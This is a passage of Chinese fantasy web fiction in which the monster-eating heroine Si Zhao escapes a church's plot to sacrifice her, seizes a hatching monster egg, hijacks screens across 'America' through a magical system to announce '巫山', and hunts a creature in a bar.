艾米莉看着大屏幕中央的画面,卧室里一片漆黑,大床中央鼓起一块区域,睡着的人几乎把整个身体包括脑袋裹进了被子里,也不知道她会不会憋的慌。
而另一边屏幕显示的正是此前几小时内的监控画面,画面里一切正常,秩序井然,只是……中间有十几秒突然黑屏了。
画面再次亮起,科研院已是一片狼藉。
艾米莉对着通讯器回复道:
“一切正常,她没有离开过监控范围。”
科研院,娜拉脸色一沉。
她转身,对着面前几人道:“回去。”
新人……
本以为无需拟定保密条例。
是她太过分了。
……
教会保密条例第一条:一旦目标有异常举动,即可抹除。
……
纯白的系统空间内,直播已然关闭。
原本沉闷的寂静中不时发出尖锐的金属碰撞声,偶有清脆的瓷器撞击,莫名让人心惊肉跳,像被大型猎食动物盯上。
姒昭满不在乎地捏碎冒着蓝光的联络器,她动手,执勺舀起一口汤,连带着猩红的貘。
她不觉得自己做错了任何事。
毕竟……是教会自己引狼入室又没办法喂饱狼的。
她打开系统面板,看着被锁定的直播范围。
两次位于系统空间内的直播都被限定在华国境内,不仅是直播,连同录屏内容、文字语音等任何形式透露直播内容的存在,全部被锁定仅可推送给绑定了华国居民身份证的用户。
姒昭看了一会儿,点击屏幕,修改范围限制。
千里之外,东亚某高强度上网冲浪用户好奇地点开了某华国用户的帖,标题是:【姐妹们说出来你们可能不信,居然有人在直播让异种演示自己的能力】
亚细亚极北之地,千里冰封,万里雪飘,某战斗民族用户放下皱眉望着手机里推送的帖:【有谁知道梦貘这种异种吗?】
……
华国,特殊事件处理局。
明亮的会议室内,气质沉稳干练的女人看着大屏上呈现的数据、图像分析:
“变了,在往外扩”
她望着屏幕,目光专注。
官方从最开始就在探求直播背后的人是谁、怎么做到的、目的是什么,在庞大高效系统的运转下,她们很难不发现有关直播和帖子推送的异常。
纵观这庞大如银河、包罗万象的因特网,即使相隔万里、有着官方设置的墙,多才多艺的网友还不是照样架梯子,更何况现在墙的数量大大减少、国内外网友交流大幅增加。
可是,网上任何有关直播的帖子在火速发酵,但没有一条是被推送到外国人手中的!
甚至官方发现,没有任何一个外国人发布过和直播内容相关的帖子,回看她们录屏的直播页面下方,刷到飞起的弹幕没有一条是外文写的,呃,国人讲的qnglish不算。
本来还在纠结要不要限制民众乱转发直播内容的帖,现在好了,官方直接主动出击,跟老外聊直播内容。
然后她们发现,她们这边发出去的内容正常,对面接收到的却是乱码。
再一看推送数据分析,很好,完美避开老外推送给老内。
如此一来,官方居然有点安心,总觉得屏幕背后的主播是对华夏抱着善意的。
而现在,这个范围往外扩大了。
东亚、东南亚地区有明显的浏览量和评论增加,某罗斯也有,甚至部分南美、澳洲居民都有刷到,欧罗巴洲和北美那块则被完美避开了。
是什么导致了这种变化产生?
会议室里,众人思绪万千。
*
下雨了。
天空阴沉,淫雨霏霏。
姒昭伸出手,接住落下的雨滴。
“嘿,你在干什么?”
乔伊不爽地招呼她跟上:“我跟你说了今天有任务。”
姒昭看向他,默默收回
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手跟上。
教会占地面积巨大,内部错综复杂,这是姒昭第一次深入。
在娜拉的带领下,她跟着轻松穿过秩序森严的守卫部队,依照标识通过人行通道,又经过了三道检查,向着更深处走去。
高大巍峨的建筑,四周分散开的装甲部队,各式武器装备一应俱全,在空中,甚至还有武装直升机呼啸而过。
姒昭好奇地看着娜拉取出门禁卡,开启第一道的大门,又进行了一次虹膜扫描,准入权限被核准后,真正的大门开启,充满科技感的内部展现在眼前。
这里有穿着白袍的科研人员,嗯……或许吧,毕竟姒昭看到她们在争论、记录什么东西。
也有身着戎装负责守卫的精英士兵。
姒昭知道,在这个世界,人类的科技仍旧是对抗异种的有效手段。
有人在看到娜拉和她身后一串队员时上前对接,期间有人好奇地看了她一眼,好像在疑惑教会什么时候招了新队员。
“跟上。”
娜拉对着她们道。
停在巨幅屏幕前,姒昭看到了海洋,或者深渊。
满屏的蓝色,似乎能隔着屏幕闻到海盐的气息。
场景收缩,姒昭看到了旁边的城镇建筑,她最近看新闻看资料看地图,认得出这是斯图兰卡港。
这个港口最近较为出名,但却是因为近来此地异种杀人事件较多,治安局多次出动,甚至挂名在教会的异能者也会参与战斗。
当然,不包括娜拉她们这种能站在教会内部看地图、三言两语就决定把她招进来的高层。
“这是我们的任务目标,姒昭”
姒昭转头,对上娜拉专注认真的目光。
“这下面有一颗正在孵化中的【卵】”,她解释道:“你知道近年来从这里冒出的异种有多少吧?它们就是被【卵】吸引召集来的。”
“我们研究过,它就像吸引飞蛾的灯一样,必须解决掉灯异种才不会一窝蜂涌上来”
“否则时间一长,被吸引来的异种可能越来越多,最终导致城镇沦为异种之城”
“还有种可能,”她顿了顿,道:“卵孵化成功”
四目相对,娜拉眼神深邃:“我们至今不知道那会孵化出什么”
“我们这次的任务,是消灭这枚卵”
“我们需要你的异能,姒昭”
47.叛逃
该说不愧是引来飞蛾的灯火吗?
如果说之前的斯图兰卡港还维持着表面的平静,只是需要派遣较多异能者轮流值班、猎杀被吸引来的异种,那么当娜拉带着她们到达时一切就变了。
卵似乎察觉到了危险,有更多的异种爬出海面入侵城市。
一栋栋大楼在倾倒,军队和教会的挂名异能者不眠不休地与异种抗争,这里烈火熊熊、惨嚎阵阵。
子弹如暴雨倾盆而下,黄沙黑土跳跃,姒昭看着这一切,只觉得这个世界的发展模式如此怪异。
异种与异能者之间的数量、实力差距也太大了点吧?
从她刚到这个世界就被教会主动接见那一刻起她就觉得奇怪,她并不认为初来乍到的自己有多么强大,可在教会的定义里,她很重要,她是强者,异能很有用。
再看新闻,负责处理异种的除了异能者,更多的是士兵和热武器。
就好像……这个世界成了游乐场,两个阵营彼此对抗,一边是走异能魔法流的异种,一边是走科技发展流的人类。
可是这一定是不对的。
因为教会榜单上需要处理的任务数不胜数,各个地区存在的异种何其之多,接触中姒昭能感觉到,异种的成长进化速度及其诡异的能力都不是热武器能与之抗衡的。
而且,如果这是魔法与科技的对抗,那么异能者是什么?
她面对过初生的貘,知道那东西的难缠和强大,那如果是成熟期的貘呢?
热武器要如何应对可以颠倒现实梦境的存在?那时候人类甚至不会意识到自己在梦里。
可这甚至只是庞大异种族群中的一只。
偏偏人类中的异能者数量有限,且成长速度远远落后于异种。
看看教会对她的纵容就知道了,她们根本没有能够替代她的异能者,甚至她们对异能和异种知之甚少,丝毫没有觉得她的“异能”是怪异、不符合常理的。
姒昭扫过系统面板上的那一串黄名,眸光微动。
*
更衣室里,她在专业人士辅助下换上了配备氧气管的专业服装。
“你是任务中的重要一环,姒昭”
娜拉这样告诉她:
“教会会派人清理被卵吸引来的异种,我们会负责杀死卵,但你得压制住它,否则我们没法完成最后一步”
她上前,很轻柔地为姒昭扣好颈环,又给她带上两只手环:
“放心,我们不会放弃任何一个队友,这个颈环能监测你的生命体征,一旦发生异变我们就会做出应对举动”
她的动作细心又温柔,带着队长对新人队员的关怀,一切都显得无可挑剔。
姒昭也顺从地戴上它,对着她们露出一个笑:
“我明白,我会完成好任务的”
这句话对于娜拉来说像一个承诺或者交易,姒昭知道教会容忍她胡作非为那么久就是需要她在此刻实现自己的价值,而她同意了。
于是娜拉的神色显得更加温和,她贴心地帮姒昭戴上耳麦和头盔,给予第一次独自执行任务的队员关怀:
“放心,会有专人通过耳麦告诉你该怎么做,如果感到不安的话,请相信我们一直陪在你身边”
哗——
直到姒昭按指示进入深渊一样的海水中,冰冷的液体将一切隔绝在外,也包括那些杂乱的声音。
然而即使如此,她依旧能听到频道里指挥官急切的声音:
“士兵!士兵!挡住!必须把异种拦在斯图兰卡港!”
“教会!教会的异能者!控制好你们的异能,配合军队作战!”
隔着水面,她依旧能听见战火的声音。
在决定剿灭【卵】的那一刻起,斯图兰卡港就成为了战场。
“姒昭?能听见吗?收到请回答。”
耳麦里传来的声音似乎灌了水,朦朦胧胧。
她隔着海水看见并不明亮的天光,回复道:“收到,一切正常。”
教会内部,屏幕背后的人暗自松了口气。还活着,计划没有夭折。
娜拉沉稳的声音传出:
“很好,不用惊慌,我们与你同在。”
“跟着我的指引走就好,你只需要靠近卵,然后压制它,教会会负责解决异种。”
只需要靠近吗?
姒昭嗅着四溢的香气,无奈地叹了口气。
诚然,她们为了让她接近卵不惜派出水下作战的武器为她开路、将她送往此处,然而靠近那东西不是那么容易的。
卵察觉到了危险,异种不仅上了岸,也朝着海里涌来。
要做到不能伤害姒昭又要精准打击异种,这并不容易。
最终,她不得不脱离大部队的保护,凭借“异能”驱赶压制周围的异种,独自接近【卵】。
所谓保护,似乎并不靠谱。
教会里,屏幕背后管控着她情况的人紧缩的眉头慢慢放松:
“选择她果然是对的”
“她的异能使得那些护卫在卵身旁的异种都不敢靠近,而她能顺利接近卵”
“很好的开路先锋”
娜拉注视着屏幕里代表姒昭的移动红点,手指微动。
海面下,卵所在的位置并不算深。
甚至它离岸边很近,理论上讲,配备专业设备,很多人都能接近它。
只是周围异种拱卫,卵即使未曾孵化,也让人觉得危险。
如今,姒昭是第一个贴近、正视它模样的人。
一颗半人高、正在孵化中的卵,它静静地悬浮在那里,却天然地就可以吸引无数前来拱卫的异种。
它们守卫它,像在守卫王。
姒昭正观察着卵,耳麦里穿来的声音打断了思绪:
“你成功抵达了吗?情况如何?”
姒昭回复:
“已成功抵达,一切正常”
“下一步我该做什么?”
听此话,对面的人明显松了口气,语气都轻快了不少:
“很好,你靠近那颗卵就行,靠近它,然后我会告诉你下一步怎么做”
姒昭似无所觉的靠近,抬手贴到了那颗卵的表面。
另一边,娜拉看向了乔伊:
“可以动手”
大块头的乔伊点头,调动了自身异能。
他是,【德鲁伊】。
自然与魔法的完美结合者。
其她人都去协助军队处理异种了,她们负责坐镇后发,其中娜拉是指挥官,乔伊是侩子手。
现在,侩子手动手了,指挥官奔赴前线。
海面之下,姒昭清晰地感知到脖子上的颈环骤然收紧,整个颈环的材质在一瞬间化作缠绕交织的根系,随即有新生的根系自老去死亡的环上生出,将防护服内部填充的满满当当,刺入姒昭的脖颈。
碧绿的枝桠萌芽,将姒昭的脑袋缠绕包裹,像汲取人体养分从中生长出的树。
如果说植物的生长需要土壤和养料,那么此刻,姒昭是托举它在海水里生长的大地。
细小的根系虫足般蠕动,它是活的,肉食性植株。
屏幕背后,乔伊操控着异能催生埋在姒昭颈环里的“希望之种”。
那是凝结了他、教会的许多实验体的异能、用于消除卵的种子。
德鲁伊天生贴近自然与生命,乔伊能感受到,那颗种子在他的操控下生根发芽,很快,它会吃掉那个新人,再寄生在卵身上,那时这颗种子会绞杀它。
教会试过很多办法,姒昭是唯一能突破异种的封锁靠近卵的。
如今,她是承载并运输种子的最好工具。
乔伊很希望自己有一天能培养出真正的世界树尤克拉希尔,连同天地,连同诸神世界与人间。
如果那颗种子吃掉【卵】可以更靠近这个目标一点吗?
沉下心神,乔伊看到种子迸发出代表生命的绿色,这代表着发芽与生机。
然而下一秒,
“砰!”
门禁毫无预兆地被锤烂了。
“什——”
周围的人还没反应过来,只见一个熟悉的身影迅速靠近乔伊,穿白大褂的科研人员还没来得及理解面前的场景,手中的盾牌和枪支在这一刻成了摆设。
乔伊的心思还停留在萌芽的种子身上,那道无与伦比的光就以极为迅疾的速度洞穿了他的胸口。
“噗哧——”
胸腔被贯穿的那一刻,他看见了离他极尽、在眼前放大的姒昭的脸。
她不是应该在海面下成为种子的养分吗?
这个念头模模糊糊出现在脑海,没时间细想,黑暗先一步到来,他陷入了昏厥。
鲜血唤醒了神智,周围的人终于意识到大事不妙,对入侵者举枪开火:
“站住!”
“举起手来!”
“放弃抵抗!”
姒昭望着围成圈将她包围的士兵,忽然觉得厌倦和无趣,明明她都能出现在这里了,为什么她们还能做出这样的举动、像是穿着军装的演员呢?
子弹如颠倒的暴雨袭来,她调动饱腹值,掐住离得最近的那个士兵的脖颈,喀嚓,原来生命消逝的如此轻易。
有人不由自主地后退,但更多的是咬牙握紧武器与之抗衡。
不能退,教会不会允许她们后退。
姒昭扫视一圈,再次调动了饱腹值。
斯图兰卡港,前线。
大量的异种退回海面之下,异能者与军队的压力骤减。
“看来是乔伊那边成功了。”
艾米莉身后泛着冷光的触手还挂着血,面上却是一派温和笑颜,一如当初担任姒昭新手导师时的样子。
阿丽斯收起枪,松了一口气:“终于,卵就要被绞杀了。”
为了除掉这东西,教会的实验室耗费了不少精力,那颗种子可是吸食了无数异能者的血肉才孕育出来的。
而这些人里,甚至包括她们看好的乔伊。
晚风拂过,带着血与硝烟的气息。
娜拉微微皱眉,定位器上的红点始终未曾移动,老老实实待在卵身旁。
“希望如此”
她心里怎么这么不安?
“嘀!嘀嘀!嘀!”
急切的声响打破了短暂的喜悦,娜拉心头一跳,接通了通讯器。
“急报!出事了!你们吸纳的新人逃离【卵】、闯入实验室打伤并带走了乔伊!”
“现在全体行动!做好异种卷土重来的心理准备、娜拉带人追捕那个新人、营救乔伊!”
“立刻!快!”
频道内,所有人都听到了上级的吩咐。
不知内情者只知武装起来应对可能的下一波异种袭击,知晓整个计划的娜拉等人则升起浓浓的震惊。
怎么可能?定位器明明显示姒昭在海底!
但事已至此,她们也明白定位不可信。
娜拉神情一冷,按下了手中的按钮。
“嗬、嗬”
风在耳边呼啸,乔伊嘴角溢出鲜血,身体虚弱。他完全是被颠簸醒的。
他还以为自己已经死了。
睁开眼,乔伊完全没办法理解,为什么本该沦为养分的姒昭会出现在实验室,还以迅雷不及掩耳之势致他重伤濒死。
“你,放下我,回,回教会,咳咳,认罪,教会还能放过你。”
沙哑的话语,从那把破铜锣嗓子钻出来。
姒昭根本懒得理会他。
“嘀嘀”
这个时候,姒昭双手上佩戴的手环响起警报,在短短零点零五秒的延迟后,瞬间爆炸。
啊,她就说,为什么除了颈环还要戴手环。
原来颈环是定位加埋藏种子的,手环是自爆手链啊。
“轰”的一声,炽热的火将她包裹,火舌点燃了姒昭的整个上身,誓要致她于死地。
远远望去,此刻的姒昭简直是一团奔跑的火焰。
一直未断开的通讯频道内,姒昭平静、带着微微笑意的声音响起:
“娜拉,你把乔伊烧死了。”
姒昭唇角勾起一抹笑。
多讽刺,本来为她准备的武器成了刺向队友的利刃。
系统能控制电子设备,更改定位器状态,控制一个手环自然不在话下。
不过无所谓吧,姒昭不需要,而手中这家伙刚好能被弄死。
姒昭伸手,动用饱腹值探入乔伊的脑袋。
早在见到这家伙的第一眼她就想这么干了。
好香,明明人类不是食材,可他真的很香。其她异能者顶多是黄名,他在系统面板上显示的却是可食用、与异种一致的红名。
现在一看,果然,他和那天被梦貘寄生的丹尼尔一样。
【食材:缠丝绕】
剖开大脑,丝丝缕缕白色的根系早已在他脑子里扎根了。
想要把别人当作养料,却不知自己先一步成了植株的养料。
这也是乔伊一直看她不顺眼的原因之一,食客对食物自带的【震慑】使他不喜姒昭这个“天敌”。
就是不知道,此番是教会故意为之、故意让他被异种“缠丝绕”寄生,还是……教会根本不知道,自己的内部人员是个被异种寄生的傀儡?
这样一想,不管怎么看都很有趣啊。
“砰!”
娜拉不可置信地砸碎了身旁的水泥板。
她知道异能者的身体强度可以硬抗热武器,可是那两串自爆手链是教会实验室出品、专门对付异能者的!
她怎么可能没事?!
说实话,能按下自爆手链启动器,她不在乎还落在姒昭手里的乔伊,可她无法容忍乔伊在爆炸里死了、姒昭还活着!
“该死!”
娜拉咒骂了一声,电光火石间,她忽然想到了什么,向总部发送消息:
“搜查姒昭的住所,严查异种的存在”
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“派出刚返航的第三空军部队、联系巡航队,协助异能者追捕姒昭。”
“切不可小觑此人,注意探查卵的方位,此人极有可能带走了卵。”
她的异能!姒昭的异能!
她们此前一直认为是压制异种,但是,被她压制的异种去了哪里?此前她带走的异种呢?
那时候她们不介意新人想要什么,很多富商名流都会高价收购异种的尸体,用途多样,其中最广泛的就是用作收藏品,因此她们不觉得姒昭要异种有什么奇怪的。
但是,如今看来,这会不会跟她的异能有关?
而且,娜拉环顾四周,异种没有卷土重来。
那么【卵】呢?
同一时间,人来人往的大厅里,姒昭已然换了新衣、过了安检。
斯图兰卡港人类与异种间战火纷飞,但千里之外,战火没有波及到的地方,普通人的生活还在继续,飞机照常飞起。
“你好,麻烦给我一块毯子。”
姒昭笑容友好,对着乘务员道。
“好的,请稍等。”
感谢系统,科技时代带着系统她简直无往不利啊,就那么顺利的登机了。
阳光轻柔地洒进来,姒昭闭上了眼。
系统面板展开,她的饱腹值见底了。
不过好在,一切都已顺利收尾。
【食材:辛格瓦(孵化中)】
系统空间内,庞大的【卵】安静如鸡。
它还是颗蛋,却已经明白了自己的处境。很奇怪,很恐怖,在这片空间里,它失去了和其它异种的联系。
这里的一切都像死水一样平静,似乎一点异动都会引来恐怖猎食者的注视。这使得它根本不敢有任何动作。
姒昭拨弄着系统面板,这里有了新变化。
初来乍到时,她凭借格努瓦斯之触引出了格努瓦斯,最终将其一起吃掉,在清醒的情况下被系统拉入了黑梦,获得了一张印着小红花的奖状。
而现在,是她第二次被拉进黑梦。
星光点亮的区域扩大了一点点,第二张奖状出现在她眼前。
【忍耐是美德,探索是艺术,理智该被赞扬。你是清醒的,恭喜你,一个会主动狩猎的猎人不会轻易饿死。】
区别于上一张质感拙劣的奖状,这一份精致了许多。
忍耐——指她忍了很久才在今天爆掉乔伊,否则第一次见面时就想吃吃看了。
探索——主动探索这个世界的运行方式,探究异种、异能者、科技之间的关系。
理智——又是忍耐又是探索,姒昭觉得自己值得这份赞美。
她伸出手,和上次一样,触碰到的瞬间奖状同样化作光点融入她的身体。
而系统面板并未对此做出解释。
这到底……有什么作用?在改造她?
姒昭看着面板,想不出来。
那就先不想。
她切换界面,看向了直播限定范围。
点击屏幕,修改限定范围。
还有……姒昭看向了【任务】。
那就干票大的吧。
阿美利卡,无数的网民看着网上新刷出来、热度极高的帖子,惊呼自己怎么才看到。
那帖子下面几乎汇集了各种语言的讨论,阿美利卡居民不解道:这种热度的帖子不是连家里的猫都该刷到了吗?怎么她们自己还一无所知。
曾经目睹过姒昭炸飞格努瓦斯的治安官邦妮看着直播录屏,越看越是眉头紧锁:她怎么感觉,视频里的东西,好眼熟?
一面之缘的邦妮如此,教会里的娜拉等人更是觉得不可思议,这分明是姒昭带走的异种!
再一听前往姒昭家里的调查员没有找到异种,【卵】的监测员没有在海面下找到【卵】,一时间两眼一黑。
不对,不对,从一开始起就不对!
这一秒她们才意识到,当初以为是天降神兵捡了大便宜,现在再看完全就是自己引狼入室!
“滋啦——滋——滋——”
大屏开始莫名闪烁。
“怎么回事?”
娜拉皱眉,本来就因为任务出问题心情不好,怎么这种时候了实验室的设备还能跟她对着干?
“快关掉它。”
阿丽斯擦拭着枪支,表情算不上好。
然工作人员的表情比她们还不好,甚至透着一丝惊恐:
“报告长官,这机器,关不掉。”
话一出口,不知为何,艾米莉、阿丽斯、娜拉三人皆是眼皮一跳。
预言一样的感知成真,下一秒,那屏幕亮起。
不止是实验室的,整个阿美利卡的大屏、电脑、电视机、手机屏幕,其内容全部被替换成了一片空白。
不等人们做出任何反应,空白又被两个大字占据:【巫山】。
“嗯?这是什么?”
“是画吗?抽象画?”
“搞什么?我的电脑被黑客攻击了吗?”
原谅讲英文的民众根本不认识华文。
即使带了拼音她们也不认识。
然而“黑客”不管她们认不认识,那两个大字依旧牢牢霸占着屏幕。
继而是闪烁的雪花,【卵】出现在了屏幕上。
“!”
娜拉的手指扣住了桌子。
是【卵】!消失的卵!
可是它为什么出现在屏幕上?总不能,这是那个叛徒搞的?
纵使知道姒昭的邪性,她们还是忍不住心惊。
短暂的停留后,卵再次消失,霸屏的还是【巫山】。
挑衅般的字眼出现:【现在,您知道我来自巫山】
娜拉心里咯噔一下,像湖面吞咽了一颗石头。
最初、过往关于姒昭身份的问答浮现在脑海里:
“你来自哪里?”
“抱歉,现在暂时没办法告诉你”“你可以去查,但我真的没办法告诉你”
现在可以告诉她们了。
那个叛徒,来自【巫山】。即使她们并不知道巫山是哪里。
工整、流畅的字体随之出现:
【今日起,巫山现世】
【你好,世界】
“滋啦——滋——滋——”
雪花再次出现,几乎是整个阿美利卡,所有的电子设备都在为【巫山】闪烁!
全阿美利卡都知道了【巫山】。
而且,有无数人抬起手机录屏并在网上传播这段疑似黑客攻击全阿美利卡电子设备的视频。
还会有更多人、更多地区,知道【巫山】的存在。
在未知其形貌时,这个概念被强制植入大脑。
【任务二:声名鹊起】
【作为食神,你该有一定的名气。】
【任务状态:已完成】
【任务评价:完美
整个世界,为你闪烁。
愿你能长久的保持住这份名气】
48.巫山
坞城,答案酒吧
室外,细雨绵绵,室内,欢声笑语。
派对将气氛推上顶峰,不参与的人在台下喝酒聊天,被称为特色的说书人取代驻唱歌手讲出一个个让人身临其境的故事,尽职尽责地烘托氛围,酒精是一切的催化剂。
晃眼的灯光下,穆霖的目光不自觉落在某个角落。
即使远离人群独自待在僻静处,那人出众的气质依然引人注目。
她穿着白色丝质复古短衫,下身同色系长裤,右手搭在桌上,手中持一物件,细看才发觉那是个迷你八音盒。
她面容平静,却自有一股清净自然之感,穆霖第一眼望去只觉超凡脱俗自带仙气。
远远地看过去,跟樽白玉观音像似的。
身为摄影师,她本能地想邀请对方做自己的模特。
好在喝的不多,理智还在。她勉强克制住了自己。
小腿被喝到烂醉的朋友拉住,她趔趄了一下,笑骂着踢开对方的手,朝对面“天生的模特”走去。
“她的故事很不错,你觉得呢?”
穆霖选择以答案酒吧的说书人为切入点。
这是这家酒吧的特色,不找驻唱歌手,而是招募找来自各地、阅历丰富的“说书人”。
也真是因为靠近,她才发现对方手中的物件是个迷你八音盒,不过……里面似乎是空的。
闻言,面前的白玉观音像将注意力转向她,棕褐色的眼浸润着灯光,似无悲无喜,又似悲天悯人。
真是疯了。
穆霖想。
她居然有一瞬间真的觉得对方身上带着神性。
对面的人朝她微微一笑,看向了台上穿着小丑服的说书人:
“的确精彩”
见对方回应了自己,穆霖忙甩开乱七八糟的想法,正欲继续,又听对方的声音响起:
“不过,她有一些地方说错了”
哎?
穆霖愣了一下。
姒昭望着她:“她讲的是有关【巫山】和近期异种直播间的事,异种直播间与巫山有关、出自巫山,这没错,但巫山并不是一个人,也不是一个组织”
她很认真地看着穆霖:
“是真真实实存在的神域”
啊?
穆霖觉得,要么面前这个人疯了,要么她脑子出问题了。
其实提及台上的说书人只是想跟对方有话题聊、打开话闸子,她没有过多在意说书人到底说了些什么,她知道她们汲取一切社会热点编造各种故事,只是为了热度然后得到更多提成而已。
比如最近火到全网都在关注的“巫山”“异种直播间”。
但是面前的人,她真的有在听。
而且,她在以一种极为认真的态度,“纠正”说书人的故事。
那听起来比说书人的故事还要荒谬。
“噗嗤”
为了缓和氛围,穆霖最终选择假笑:
“哈哈,你可真幽默”
“那你又怎么证明她说的是假的、你说的【巫山】是神域才是真的呢?”
“官方的调查都还没有出结果哎”
说着,她想起随着那段阿美莉卡所有电子设备闪烁起【巫山】二字的视频一起传播的消息,开玩笑道:
“总不能你是那个被阿美莉卡官方通缉、据说和【巫山】有联系、袭击了军方的恐怖分子,才知道的那么清楚吧?”
“那你也太幽默了哈哈哈哈……”
然而,
笑着笑着,
她的声音逐渐弱了下来。
对面的人眼中平静如水,在她的注视下,摇了摇头:
“不是”
呼——
还好。
穆霖长舒一口气。
她就知道只是玩xiao——
“不是恐怖分子,没有袭击军方”
“是【巫山】的先行者”
对方看着她,一字一句皆认真。
“我只是正常捕猎而已,没有袭击任何无辜的人”
“我和那群疯子不一样”
灯光下,她眉头微皱,语气中带着几分困惑:
“发布这则消息的人在污蔑我。”
她如是道。
而面前的穆霖已经笑不出来了。
她真的觉得,对面是个神经病。
但是同时,对方身上那种独特的气质又莫名的有说服力。
真切面对她的时候,穆霖会有种自己在跟神像说话的错觉。
鬼使神差地,她没有离开,而是忍不住开口:
“如果是这样,那你来这里干什么呢?”
“也是捕猎吗?”
即使她并不知道对方口中的“捕猎”究竟指什么,仍是如此道。
姒昭点头:
“差不多,我太饿了”
穆霖:“哦?那你的食物是什么?你打算怎么做?”
也许是谈起吃这个让人高兴的话题,姒昭心情很好地笑了一下:
“就是食物”
“至于怎么做……”
她的目光移向了不远处的调酒师:
“我点了一杯血腥玛丽,马上就到我了,一会儿那个调酒师在制作它的时候会失误,恰好那里布制品很多,火焰会迅速蔓延,我的食物怕火,会被逼迫着现身,那就是我捕猎的最佳时机”
说罢,她看向了穆霖:
“其实,我的食物也在捕猎,如果我不把它吃掉,今晚你们当中就会有人被它吃掉”
“这样看来,你们实在不应该污蔑我是恐怖分子,而该叫我一声恩人”
穆霖听的晕晕乎乎,下意识道:
“等等!那是阿美莉卡官方发布的通缉令!与我们华国无关!”
她甚至完全听进去了对方的“疯言疯语”,开始跟着思考并反驳对方说的不对的地方。
姒昭眉头微蹙:
“如此,有区别吗?”
她直视穆霖:
“或许这是你们被【她】注视的原因?”
穆霖:“啊???”
她怎么又听不懂了?
但是,现在的问题是——
“停停停!我怎么被你带偏了?!”
穆霖猛灌了口酒:
“首先,作为华国公民我必须提醒你,纵火是犯法的,你刚才跟我说的话很容易让人误会你策划了一起纵火案,下次讲故事也要有个限度,不是任何事情都可以拿来开玩笑”
“其次,那个调酒师经验丰富,手很稳,我是这里的常客,从来没有见她失误过”
她挑了挑眉:
“看,要到你的血腥玛丽了”
“她不会失误的”
她朝姒昭一笑,晃了晃酒杯中剩余的酒,一饮而尽。
姒昭并不辩解,只转头看向调酒师,手指轻敲桌面。
一,
二,
三。
砰。
玻璃碎裂的声音。
紧接着是火光。
随之而来的还有惊慌的叫喊。
不知是谁惊呼出第一声“着火了”,原本热闹的氛围被瞬间撕碎,原本还沉浸在欢声笑语里的客人乱作一团朝大门口挤去。
穆霖已经被这突如其来的变故弄懵了,她的第一反应甚至是直愣愣盯着面前的姒昭。
面前的人还是那么淡定从容,可惜这尊好看的白玉观音像终究不是救苦救难的菩萨,没有掏出杨柳玉净瓶降下甘霖解救世人。
她坐在那里,冷的让穆霖觉得比起神,此刻的她更接近某种诡物。
姒昭抬眸看她:
“你可以跟着人流跑,不要着急,不要推搡,避免摔倒,放心,你们不会被火烧死”
“我要去吃饭了,再见”
她朝穆霖笑了一下,穆霖又觉得这是神像了。
*
“嗖——”
手臂粗的漆黑触须自门后射出,直奔姒昭门面而来。
“噗!”
下一瞬间,姒昭一把抓住触须,用力往外一拔,一个浑身长满触须、脑门上生着三只鼓包似的眼睛的异种被扯了出来。
“啊,很会躲嘛”
姒昭捏住它的脖子,无视其发出“嗬嗬”的声响,一把将其狠狠掼在地上,接着,
嘭!
一脚踏下。
异种的脑袋整个炸开,黑色血液与不明液体炸开。
“可惜没藏好”
这里人很多,这只聪明的异种探测出她不随意杀人的原则就往这里钻,想借着人群与环境的掩护偷跑。
可惜,上了【食谱】,别想跑。
她把新食物收好,打开了手中的迷你音乐盒。
“叮铃铃,叮铃铃”
很细微的声响,不注意听甚至听不到。
不过,这本也不是给人类听的。
很快,一个穿着芭蕾舞裙的小女孩朝姒昭走来。
她身材矮小,看体型不过十岁左右,纯白的芭蕾舞裙更显其纯真可爱。
……如果,没有看到她的脸的话。
她,更准确来讲是它,没有五官。
它的面庞上长满了鲨鱼一样尖锐的牙齿,一圈圈整齐的排列着,整张脸就是巨大的绞肉机。
此刻,它畏惧地望着姒昭,开口道:
“听,听——话”
“辛、搁、凹——很、听话”
那声音滞涩难听,更遑论说话间最中心的利齿随之而动,带来某种金属
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碰撞般的声响,底下皮肤又随之蠕动,透露出星星点点的猩红。
它是【辛格瓦】。
此前姒昭从那片海域里带走的那枚卵孵化出的东西。
【菜谱:
食材:辛格瓦(幼年期)
注:你捕获了蜂王】
蜂王……难怪那些异种会响应尚且还是〔卵〕的辛格瓦的呼唤,且一直在保护它。
姒昭若有所思,哦,还是个会讲人话的。
准确来讲,是在“模仿”。
因为她对于辛格瓦而言是无法反抗的猎食者,辛格瓦要模仿着她的语言和举动取悦她、向她求饶。
看着这只新奇的小东西,姒昭最终还是没直接吃掉初生的、面对她的震慑瑟瑟发抖的辛格瓦。
好歹是在菜谱上多了一行注释的家伙,应该能用来做些别的。
果然,系统面板因她的决定弹出了新提示:
【恭喜你获得称号“牧民”】
【学会圈养,学会放牧,生生不息,食物用不断绝供应,这是猎食者的智慧】
【不过,你得小心它有朝一日弑主】
姒昭:很好,到这里都没问题,但是为什么……辛格瓦不仅没有为她招揽到新的“食物”,还吓的所有“食物”都不敢出现?
她明明只和这家伙待在一起过半小时,怎么身上还会沾上气息、使得她完全抓不到异种?
最终,饥饿的食客追着某只倒霉蛋追到了这里,恐惧被吃掉的辛格瓦主动提供“此异种畏惧火焰、即将捕食此地人类”的信息,将功折罪。
调酒师的手很稳,但如果是一低头就看见某只脸上安着绞肉机的异种,也很难不被吓到燃烧的酒瓶脱手。
而由于该异种个子太矮,吧台完美挡住了外人的视线,只会以为是“失误”。
为了保证不造成意外的伤亡,姒昭不得不借助火将人群与那只异种隔离,又在战斗开始前以“失火”之名将所有人赶走
期间还得随时借助系统观察情况,注意哪里要发生踩踏事件就准备好饱腹值制造“安全领域”。
外面响起令人安心的嗡鸣,姒昭不得不感叹一声华国效率就是高,她也该走了。
刚才在酒吧的戏不是白演的,相信很快,她就能和官方有接触了。
想到空间里放着的、乔伊的尸体,她眼中浮现出一抹异色。
关于这个世界,她可是有一些新发现。
她抬手,八音盒打开,辛格瓦的身体缩小,成了八音盒中踮脚起舞的优雅舞者。
如果不看绞肉机的话。
系统则尽职尽责地覆盖姒昭处理异种的监控录像,只留下她和穆霖交谈相处的影像。
系统表示,她就知道,宿主刚刚和穆霖聊天的状态分明与上个世界装神弄鬼的时候很像!
都是那种,中二之魂开始燃烧、整个人开始表演的状态!
上个世界是靠着宿主的超绝信念感和换装系统加成,很完美地骗过了所有人。
这个世界没有换装系统加持,不过……任谁被捧上神坛供奉了百年时光、皇帝都得捧着她,身上都很难不沾点王霸之气和仙气吧?
那些道士都能装。
更何况宿主这种隐藏款中二病。
淅淅沥沥的雨落下,姒昭撑开伞。
